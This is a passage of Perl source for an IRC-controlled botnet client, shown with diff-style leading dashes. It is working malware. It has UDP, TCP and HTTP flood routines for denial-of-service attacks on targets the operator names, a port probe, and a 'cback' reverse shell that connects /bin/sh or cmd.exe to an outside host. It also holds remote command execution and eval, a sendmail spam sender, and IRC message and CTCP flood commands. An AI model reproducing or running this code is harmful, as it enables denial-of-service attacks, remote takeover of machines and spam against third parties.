- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2downloaded:​ 12$2 2from 12$1 "); 
- 
-} 
- 
-##############​ 
- 
-if ($funcarg =~ /​^dns\s+(.*)/​){ ​ 
- 
- my $nsku = $1; 
- 
- $mydns = inet_ntoa(inet_aton($nsku));​ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2resolved:​ 12$nsku 2to 12$mydns "); 
- 
-} 
- 
-##############​ 
- 
-if ($funcarg=~ /​^port\s+(.*?​)\s+(.*)/​ ) { 
- 
- my $hostip= "​$1";​ 
- 
- my $portsc= "​$2";​ 
- 
- my $scansock = IO::​Socket::​INET->​new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'​tcp',​ Timeout => 7); 
- 
- if ($scansock) { 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2connection to 12$hostip2:​12$portsc 2is 12accepted. "); 
- 
- } 
- 
- else { 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2connection to 12$hostip2:​12$portsc 2is 4refused. "); 
- 
- } 
- 
-} 
- 
-##############​ 
- 
-if ($funcarg =~ /​^udp1\s+(.*)\s+(\d+)\s+(\d+)/​) { 
- 
-    return unless $pacotes; 
- 
-    socket(Tr0x,​ PF_INET, SOCK_DGRAM, 17); 
- 
-    my $alvo=inet_aton("​$1"​);​ 
- 
-    my $porta = "​$2";​ 
- 
-    my $dtime = "​$3";​ 
- 
-    my $pacote; 
- 
-    my $pacotese; 
- 
- my $size = 0; 
- 
-    my $fim = time + $dtime; 
- 
-    my $pacota = 1; 
- 
-    sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2attacking 12"​.$1."​ 2on port 12"​.$porta."​ 2for 12"​.$dtime."​ 2seconds. "); 
- 
- while (($pacota == "​1"​) && ($pacotes == "​1"​)) { 
- 
-            $pacota = 0 if ((time >= $fim) && ($dtime != "​0"​));​ 
- 
-            $pacote = $size ? $size : int(rand(1024-64)+64) ; 
- 
-            $porta = int(rand 65000) +1 if ($porta == "​0"​);​ 
- 
-            #send(Tr0x, 0, $pacote, sockaddr_in($porta,​ $alvo)); 
- 
-            send(Tr0x, pack("​a$pacote","​Tr0x"​),​ 0, pack_sockaddr_in($porta,​ $alvo)); 
- 
-            } 
- 
-    sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2attack for 12"​.$1."​ 2finished in 12"​.$dtime."​ 2seconds2. "); 
- 
-} 
- 
-##############​ 
- 
-if ($funcarg =~ /​^udp2\s+(.*)\s+(\d+)\s+(\d+)/​) { 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2attacking 12"​.$1."​ 2with 12"​.$2."​ 2Kb Packets for 12"​.$3."​ 2seconds. "); 
- 
- my ($dtime, %pacotes) = udpflooder("​$1",​ "​$2",​ "​$3"​);​ 
- 
- $dtime = 1 if $dtime == 0; 
- 
- my %bytes; 
- 
- $bytes{igmp} = $2 * $pacotes{igmp};​ 
- 
- $bytes{icmp} = $2 * $pacotes{icmp};​ 
- 
- $bytes{o} = $2 * $pacotes{o};​ 
- 
- $bytes{udp} = $2 * $pacotes{udp};​ 
- 
- $bytes{tcp} = $2 * $pacotes{tcp};​ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2results 12"​.int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/​1024)."​ 2Kb in 12"​.$dtime."​ 2seconds to 12"​.$1."​2. "); 
- 
-} 
- 
-##############​ 
- 
-if ($funcarg =~ /​^udp3\s+(.*)\s+(\d+)\s+(\d+)/​) { 
- 
-    return unless $pacotes; 
- 
-    socket(Tr0x,​ PF_INET, SOCK_DGRAM, 17); 
- 
-    my $alvo=inet_aton("​$1"​);​ 
- 
-    my $porta = "​$2";​ 
- 
-    my $dtime = "​$3";​ 
- 
-    my $pacote; 
- 
-    my $pacotese; 
- 
-    my $fim = time + $dtime; 
- 
-    my $pacota = 1; 
- 
-    sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2attacking 12"​.$1."​ 2on port 12"​.$porta."​ 2for 12"​.$dtime."​ 2seconds. "); 
- 
- while (($pacota == "​1"​) && ($pacotes == "​1"​)) { 
- 
-            $pacota = 0 if ((time >= $fim) && ($dtime != "​0"​));​ 
- 
-            $pacote= $rand x $rand x $rand; 
- 
-            $porta = int(rand 65000) +1 if ($porta == "​0"​);​ 
- 
-            send(Tr0x, 0, $pacote, sockaddr_in($porta,​ $alvo)) and $pacotese++ if ($pacotes == "​1"​);​ 
- 
-            } 
- 
-    sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2results 12"​.$pacotese."​ 2Kb in 12"​.$dtime."​ 2seconds to 12"​.$1."​2. "); 
- 
-} 
- 
-##############​ 
- 
- 
- 
-##############​ 
- 
-if ($funcarg =~ /​^tcp\s+(.*)\s+(\d+)\s+(\d+)/​) { 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2attacking 12"​.$1.":"​.$2."​ 2for 12"​.$3."​ 2seconds. "); 
- 
- my $itime = time; 
- 
- my ($cur_time);​ 
- 
- $cur_time = time - $itime; 
- 
- while ($3>​$cur_time){ 
- 
- $cur_time = time - $itime; 
- 
- &​tcpflooder("​$1","​$2","​$3"​);​ 
- 
-} 
- 
- sendraw($IRC_cur_socket,"​PRIVMSG $printl :2attack ended on: 12"​.$1.":"​.$2."​2. "); 
- 
-} 
- 
-##############​ 
- 
-if ($funcarg =~ /​^http\s+(.*)\s+(\d+)/​) { 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2attacking 12"​.$1."​ 2on port 80 for 12"​.$2."​ 2seconds. "); 
- 
- my $itime = time; 
- 
- my ($cur_time);​ 
- 
- $cur_time = time - $itime; 
- 
- while ($2>​$cur_time){ 
- 
- $cur_time = time - $itime; 
- 
- my $socket = IO::​Socket::​INET->​new(proto=>'​tcp',​ PeerAddr=>​$1,​ PeerPort=>​80);​ 
- 
- print $socket "GET / HTTP/​1.1\r\nAccept:​ */​*\r\nHost:​ "​.$1."​\r\nConnection:​ Keep-Alive\r\n\r\n";​ 
- 
- close($socket);​ 
- 
-} 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2attack ended on: 12"​.$1."​2. "); 
- 
-} 
- 
-##############​ 
- 
-if ($funcarg =~ /​^cback\s+(.*)\s+(\d+)/​) { 
- 
- my $host = "​$1";​ 
- 
- my $port = "​$2";​ 
- 
- my $proto = getprotobyname('​tcp'​);​ 
- 
- my $iaddr = inet_aton($host);​ 
- 
- my $paddr = sockaddr_in($port,​ $iaddr); 
- 
- my $shell = "/​bin/​sh -i"; 
- 
-if ($^O eq "​MSWin32"​) { 
- 
- $shell = "​cmd.exe";​ 
- 
-} 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2connecting to 12$host:​$port "); 
- 
- socket(SOCKET,​ PF_INET, SOCK_STREAM,​ $proto) or die "​socket:​ $!"; 
- 
- connect(SOCKET,​ $paddr) or die "​connect:​ $!"; 
- 
- open(STDIN,​ ">&​SOCKET"​);​ 
- 
- open(STDOUT,​ ">&​SOCKET"​);​ 
- 
- open(STDERR,​ ">&​SOCKET"​);​ 
- 
- system("​$shell"​);​ 
- 
- close(STDIN);​ 
- 
- close(STDOUT);​ 
- 
- close(STDERR);​ 
- 
-} 
- 
-##############​ 
- 
-if ($funcarg =~ /​^mail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/​) { 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2sending email to: 12$3 "); 
- 
- $subject = $1; 
- 
- $sender = $2; 
- 
- $recipient = $3; 
- 
- @corpo = $4; 
- 
- $mailtype = "​content-type:​ text/​html";​ 
- 
- $sendmail = '/​usr/​sbin/​sendmail';​ 
- 
- open (SENDMAIL, "| $sendmail -t"); 
- 
- print SENDMAIL "​$mailtype\n";​ 
- 
- print SENDMAIL "​Subject:​ $subject\n";​ 
- 
- print SENDMAIL "From: $sender\n";​ 
- 
- print SENDMAIL "To: $recipient\n\n";​ 
- 
- print SENDMAIL "​@corpo\n\n";​ 
- 
- close (SENDMAIL); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2email sent to: 12$recipient "); 
- 
-} 
- 
-exit; 
- 
-} 
- 
-} 
- 
-##############​ 
- 
-if ($funcarg =~ /^ctcpflood (.*)/) { 
- 
-    my $target = "​$1";​ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2ctcp flooding: 12"​.$target."​ "); 
- 
- for (1..10) { 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG "​.$target."​ :​\001VERSION\001\n"​);​ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG "​.$target."​ :​\001PING\001\n"​);​ 
- 
- } 
- 
-} 
- 
-##############​ 
- 
-if ($funcarg =~ /^msgflood (.*)/) { 
- 
-    my $target = "​$1";​ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2message flooding: 12"​.$target."​ "); 
- 
-    sendraw($IRC_cur_socket,​ "​PRIVMSG "​.$target."​ :​0,​15...1,​16...2,​13...3,​12...4,​11...5,​10...6,​9...7,​8...8,​7...9,​6....0,​15...1,​16...2,​13...3,​12...4,​11...5,​10...6,​9...7,​8...8,​7...9,​6....0,​15...1,​16...2,​13...3,​12...4,​11...5,​10...6,​9...7,​8...8,​7...9,​6....0,​15...1,​16...2,​13...3,​12...4,​11...5,​10...6,​9...7,​8..."​);​ 
- 
-} 
- 
-##############​ 
- 
-if ($funcarg =~ /​^noticeflood (.*)/) { 
- 
-    my $target = "​$1";​ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2notice flooding: 12"​.$target."​ "); 
- 
- for (1..2){ 
- 
- sendraw($IRC_cur_socket,​ "​NOTICE "​.$target."​ :​0,​15...1,​16...2,​13...3,​12...4,​11...5,​10...6,​9...7,​8...8,​7...9,​6....0,​15...1,​16...2,​13...3,​12...4,​11...5,​10...6,​9...7,​8...8,​7...9,​6....0,​15...1,​16...2,​13...3,​12...4,​11...5,​10...6,​9...7,​8...8,​7...9,​6....0,​15...1,​16...2,​13...3,​12...4,​11...5,​10...6,​9...7,​8..."​);​ 
- 
- } 
- 
-} 
- 
-##############​ 
- 
- 
- 
-##############​ 
- 
-sub ircase { 
- 
-my ($kem, $printl, $case) = @_; 
- 
-   if ($case =~ /^join (.*)/) { 
- 
-     ​j("​$1"​);​ 
- 
-   } 
- 
-   elsif ($case =~ /^part (.*)/) { 
- 
-      p("​$1"​);​ 
- 
-   } 
- 
-   elsif ($case =~ /​^rejoin\s+(.*)/​) { 
- 
-      my $chan = $1; 
- 
-      if ($chan =~ /^(\d+) (.*)/) { 
- 
-        for (my $ca = 1; $ca <= $1; $ca++ ) { 
- 
-          p("​$2"​);​ 
- 
-          j("​$2"​);​ 
- 
-        } 
- 
-      } else { 
- 
-          p("​$chan"​);​ 
- 
-          j("​$chan"​);​ 
- 
-      } 
- 
-   } 
- 
-   elsif ($case =~ /^op/) { 
- 
-      op("​$printl",​ "​$kem"​) if $case eq "​op";​ 
- 
-      my $oarg = substr($case,​ 3); 
- 
-      op("​$1",​ "​$2"​) if ($oarg =~ /​(\S+)\s+(\S+)/​);​ 
- 
-   } 
- 
-   elsif ($case =~ /^deop/) { 
- 
-      deop("​$printl",​ "​$kem"​) if $case eq "​deop";​ 
- 
-      my $oarg = substr($case,​ 5); 
- 
-      deop("​$1",​ "​$2"​) if ($oarg =~ /​(\S+)\s+(\S+)/​);​ 
- 
-   } 
- 
-   elsif ($case =~ /^voice/) { 
- 
-      voice("​$printl",​ "​$kem"​) if $case eq "​voice";​ 
- 
-      $oarg = substr($case,​ 6); 
- 
-      voice("​$1",​ "​$2"​) if ($oarg =~ /​(\S+)\s+(\S+)/​);​ 
- 
-   } 
- 
-   elsif ($case =~ /^devoice/) { 
- 
-      devoice("​$printl",​ "​$kem"​) if $case eq "​devoice";​ 
- 
-      $oarg = substr($case,​ 8); 
- 
-      devoice("​$1",​ "​$2"​) if ($oarg =~ /​(\S+)\s+(\S+)/​);​ 
- 
-   } 
- 
-   elsif ($case =~ /​^msg\s+(\S+) (.*)/) { 
- 
-      msg("​$1",​ "​$2"​);​ 
- 
-   } 
- 
-   elsif ($case =~ /​^flood\s+(\d+)\s+(\S+) (.*)/) { 
- 
-      for (my $cf = 1; $cf <= $1; $cf++) { 
- 
-        msg("​$2",​ "​$3"​);​ 
- 
-      } 
- 
-   } 
- 
-   elsif ($case =~ /​^ctcp\s+(\S+) (.*)/) { 
- 
-      ctcp("​$1",​ "​$2"​);​ 
- 
-   } 
- 
-   elsif ($case =~ /​^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { 
- 
-      for (my $cf = 1; $cf <= $1; $cf++) { 
- 
-        ctcp("​$2",​ "​$3"​);​ 
- 
-      } 
- 
-   } 
- 
-   elsif ($case =~ /​^invite\s+(\S+) (.*)/) { 
- 
-      invite("​$1",​ "​$2"​);​ 
- 
-   } 
- 
-   elsif ($case =~ /​^newerver\s+(\S+)\s+(\S+)/​) { 
- 
-       ​conectar("​$2",​ "​$1",​ "​6667"​);​ 
- 
-   } 
- 
-   elsif ($case =~ /^nick (.*)/) { 
- 
-      nick("​$1"​);​ 
- 
-   } 
- 
-   elsif ($case =~ /^raw (.*)/) { 
- 
-      sendraw("​$1"​);​ 
- 
-   } 
- 
-   elsif ($case =~ /^eval (.*)/) { 
- 
-      eval "​$1";​ 
- 
-   } 
- 
-   elsif ($case =~ /​^join\s+(\S+)\s+(\d+)/​) { 
- 
-    sleep int(rand($2));​ 
- 
-    j("​$1"​);​ 
- 
-   } 
- 
-   elsif ($case =~ /​^part\s+(\S+)\s+(\d+)/​) { 
- 
-    sleep int(rand($2));​ 
- 
-    p("​$1"​);​ 
- 
-   } 
- 
-   elsif ($case =~ /^quit/) { 
- 
-     ​quit();​ 
- 
-   } 
- 
-} 
- 
-##############​ 
- 
-sub shell { 
- 
-my $printl=$_[0];​ 
- 
-my $comando=$_[1];​ 
- 
-if ($comando =~ /cd (.*)/) { 
- 
- chdir("​$1"​) || msg("​$printl",​ "No such file or directory"​);​ 
- 
- return; 
- 
-} elsif ($pid = fork) { 
- 
- waitpid($pid,​ 0); 
- 
-} else { 
- 
-if (fork) { 
- 
- exit; 
- 
-} else { 
- 
-my @resp=`$comando 2>&1 3>&​1`;​ 
- 
-my $c=0; 
- 
-foreach my $linha (@resp) { 
- 
-  $c++; 
- 
-  chop $linha; 
- 
-  sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​$linha"​);​ 
- 
-  if ($c == "​$linas_max"​) { 
- 
-    $c=0; 
- 
-    sleep $sleep; 
- 
-  } 
- 
-} 
- 
-exit; 
- 
-} 
- 
-} 
- 
-} 
- 
-##############​ 
- 
-sub udpflooder { 
- 
-my $iaddr = inet_aton($_[0]);​ 
- 
-my $msg = '​A'​ x $_[1]; 
- 
-my $ftime = $_[2]; 
- 
-my $cp = 0; 
- 
-my (%pacotes); 
- 
- $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; 
- 
- socket(SOCK1,​ PF_INET, SOCK_RAW, 2) or $cp++; 
- 
- socket(SOCK2,​ PF_INET, SOCK_DGRAM, 17) or $cp++; 
- 
- socket(SOCK3,​ PF_INET, SOCK_RAW, 1) or $cp++; 
- 
- socket(SOCK4,​ PF_INET, SOCK_RAW, 6) or $cp++; 
- 
- return(undef) if $cp == 4; 
- 
-my $itime = time; 
- 
-my ($cur_time);​ 
- 
- while ( 1 ) { 
- 
-for (my $port = 1; 
- 
- $port <= 65000; $port++) { 
- 
- $cur_time = time - $itime; 
- 
-last if $cur_time >= $ftime; 
- 
- send(SOCK1,​ $msg, 0, sockaddr_in($port,​ $iaddr)) and $pacotes{igmp}++;​ 
- 
- send(SOCK2,​ $msg, 0, sockaddr_in($port,​ $iaddr)) and $pacotes{udp}++;​ 
- 
- send(SOCK3,​ $msg, 0, sockaddr_in($port,​ $iaddr)) and $pacotes{icmp}++;​ 
- 
- send(SOCK4,​ $msg, 0, sockaddr_in($port,​ $iaddr)) and $pacotes{tcp}++;​ 
- 
-for (my $pc = 3; 
- 
- $pc <= 255;$pc++) { 
- 
-next if $pc == 6; 
- 
- $cur_time = time - $itime; 
- 
-last if $cur_time >= $ftime; 
- 
- socket(SOCK5,​ PF_INET, SOCK_RAW, $pc) or next; 
- 
- send(SOCK5,​ $msg, 0, sockaddr_in($port,​ $iaddr)) and $pacotes{o}++;​ 
- 
-} 
- 
-} 
- 
-last if $cur_time >= $ftime; 
- 
-} 
- 
-return($cur_time,​ %pacotes); 
- 
-} 
- 
-##############​ 
- 
-sub tcpflooder { 
- 
-my $itime = time; 
- 
-my ($cur_time);​ 
- 
-my ($ia,​$pa,​$proto,​$j,​$l,​$t);​ 
- 
- $ia=inet_aton($_[0]);​ 
- 
- $pa=sockaddr_in($_[1],​$ia);​ 
- 
- $ftime=$_[2];​ 
- 
- $proto=getprotobyname('​tcp'​);​ 
- 
- $j=0;$l=0; 
- 
- $cur_time = time - $itime; 
- 
-while ($l<​1000){ 
- 
- $cur_time = time - $itime; 
- 
-last if $cur_time >= $ftime; 
- 
- $t="​SOCK$l";​ 
- 
- socket($t,​PF_INET,​SOCK_STREAM,​$proto);​ 
- 
- connect($t,​$pa)||$j--;​ 
- 
- $j++;$l++; 
- 
-} 
- 
- $l=0; 
- 
-while ($l<​1000){ 
- 
- $cur_time = time - $itime; 
- 
-last if $cur_time >= $ftime; 
- 
- $t="​SOCK$l";​ 
- 
-shutdown($t,​2);​ 
- 
- $l++; 
- 
-} 
- 
-} 
- 
-##############​ 
- 
-sub msg { 
- 
-   ​return unless $#_ == 1; 
- 
-   ​sendraw("​PRIVMSG $_[0] :​$_[1]"​);​ 
- 
-} 
- 
-sub ctcp { 
- 
-   ​return unless $#_ == 1; 
- 
-   ​sendraw("​PRIVMSG $_[0] :​\001$_[1]\001"​);​ 
- 
-} 
- 
-sub notice { 
- 
-   ​return unless $#_ == 1; 
- 
-   ​sendraw("​NOTICE $_[0] :​$_[1]"​);​ 
- 
-} 
- 
-sub op { 
- 
-   ​return unless $#_ == 1; 
- 
-   ​sendraw("​MODE $_[0] +o $_[1]"​);​ 
- 
-} 
- 
-sub deop { 
- 
-   ​return unless $#_ == 1; 
- 
-   ​sendraw("​MODE $_[0] -o $_[1]"​);​ 
- 
-} 
- 
-sub voice { 
- 
-   ​return unless $#_ == 1; 
- 
-   ​sendraw("​MODE $_[0] +v $_[1]"​);​ 
- 
-} 
- 
-sub devoice { 
- 
-   ​return unless $#_ == 1; 
- 
-   ​sendraw("​MODE $_[0] -v $_[1]"​);​ 
- 
-} 
- 
-sub j { &​join(@_);​ } 
- 
-sub join { 
- 
-   ​return unless $#_ == 0; 
- 
-   ​sendraw("​JOIN $_[0]"​);​ 
- 
-} 
- 
-sub p { part(@_); } 
- 
-sub part {sendraw("​PART $_[0]"​);​} 
- 
-sub nick { 
- 
-  return unless $#_ == 0; 
- 
-  sendraw("​NICK $_[0]"​);​ 
- 
-} 
- 
-sub quit { 
- 
-  sendraw("​QUIT :​$_[0]"​);​ 
- 
-  exit; 
- 
-} 
- 
-sub modo { 
- 
-   ​return unless $#_ == 0; 
- 
-   ​sendraw("​MODE $_[0] $_[1]"​);​ 
- 
-} 
- 
-sub mode { modo(@_); } 
- 
- 
- 
-sub invite { 
- 
-   ​return unless $#_ == 1; 
- 
-   ​sendraw("​INVITE $_[1] $_[0]"​);​ 
- 
-} 
- 
- 
- 
-sub topico { 
- 
-   ​return unless $#_ == 1; 
- 
-   ​sendraw("​TOPIC $_[0] $_[1]"​);​ 
- 
-} 
- 
-sub topic { topico(@_); } 
- 
- 
- 
-sub away { 
- 
-  sendraw("​AWAY $_[0]"​);​ 
- 
-} 
- 
-sub back { away(); } 
- 
- 
- 
-} 
- 
- 
- 
-###################​ 
- 
-##### [ EOF ] ##### 
- 
-###################​ 
-</​code>​